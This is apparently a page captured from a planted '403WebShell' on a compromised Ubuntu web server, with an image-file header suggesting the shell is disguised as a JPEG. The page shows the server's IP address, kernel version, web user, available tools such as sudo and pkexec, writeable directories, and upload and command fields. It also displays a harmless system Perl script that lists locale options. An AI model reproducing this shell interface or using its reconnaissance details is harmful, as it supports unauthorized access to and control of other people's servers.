����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.216.77.184
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/language-tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/language-tools/language-options
#!/usr/bin/perl
use strict;
use warnings;

my $langtoolsdir = '/usr/share/language-tools';

# get the locales available on the system
my @avail_locales = map { chomp; s/\.utf8//; $_ } qx( locale -a | grep -F .utf8 );

# add items without country code to facilitate lookups
my %extended_localelist;
for my $loc (@avail_locales) {
    ( my $lang = $loc ) =~ s/_[A-Z]+//;
    @extended_localelist{$loc, $lang} = (1, 1);
}

# get the directory names in /usr/share/locale-langpack plus possible other
# translation directory names in /usr/share/locale and /usr/local/share/locale
my %translation_dirs;
if ( opendir my ($dh), '/usr/share/locale-langpack' ) {
    $translation_dirs{$_} = 1 for readdir $dh;
}
my %langpack_langcodes = map { s/[^a-z].+//; $_, 1 }
                         grep !/^\./, keys %translation_dirs;
for my $t_dir ('/usr/share/locale', '/usr/local/share/locale') {
    if ( opendir my ($dh), $t_dir ) {
        for ( readdir $dh ) {
            for my $lang ( keys %langpack_langcodes ) {
                if ( /^$lang[_@]/ ) {
                    $translation_dirs{$_} = 1;
                    last;
                }
            }
        }
    }
}

# Assume that 'en' is present even if the English language pack isn't installed
if ( ! $translation_dirs{'en'} and "@avail_locales" =~ /\ben_US\b/ ) {
    $translation_dirs{'en'} = 1;
}

# get the intersection of available translation_dirs and the extended locale list
my %intersection;
for ( keys %extended_localelist ) {
    $intersection{$_} = 1 if $translation_dirs{$_};
}

# adjustments
if ( open my $fh, '<', "$langtoolsdir/main-countries" ) {
    # If country code items in a language exist:
    # - Remove the item without country code, since gettext won't find a
    #   translation under e.g. 'de_DE' if the first item in LANGUAGE is 'de'
    #   (see https://launchpad.net/bugs/700213). 'en' is kept, though, since
    #   it's always the last item in LANGUAGE per design.
    # - Make sure that the main dialect of the language is represented among
    #   the country code items (see https://launchpad.net/bugs/710148).
    my %main;
    while ( <$fh> ) {
        next if /^\s*(?:#|$)/;
        my ($k, $v) = split;
        $main{$k} = $v;
    }
    my %count;
    for ( keys %intersection ) {
        next if /^en[^a-z]/;
        ( my $not_country = $_ ) =~ s/_[A-Z]+//;
        $count{$not_country} ++;
    }
    for my $langcode ( keys %count ) {
        if ( $count{$langcode} > 1 ) {
            delete $intersection{$langcode};
            $intersection{ $main{$langcode} } = 1 if $main{$langcode};
        }
    }
} else {
    # not access to the language-to-main-dialect map
    # => stick with a minimum of list manipulation
    delete $intersection{'zh'};
}

# print the resulting list of language options
print join("\n", sort keys %intersection) || 'en';


Youez - 2016 - github.com/yon3zu
LinuXploit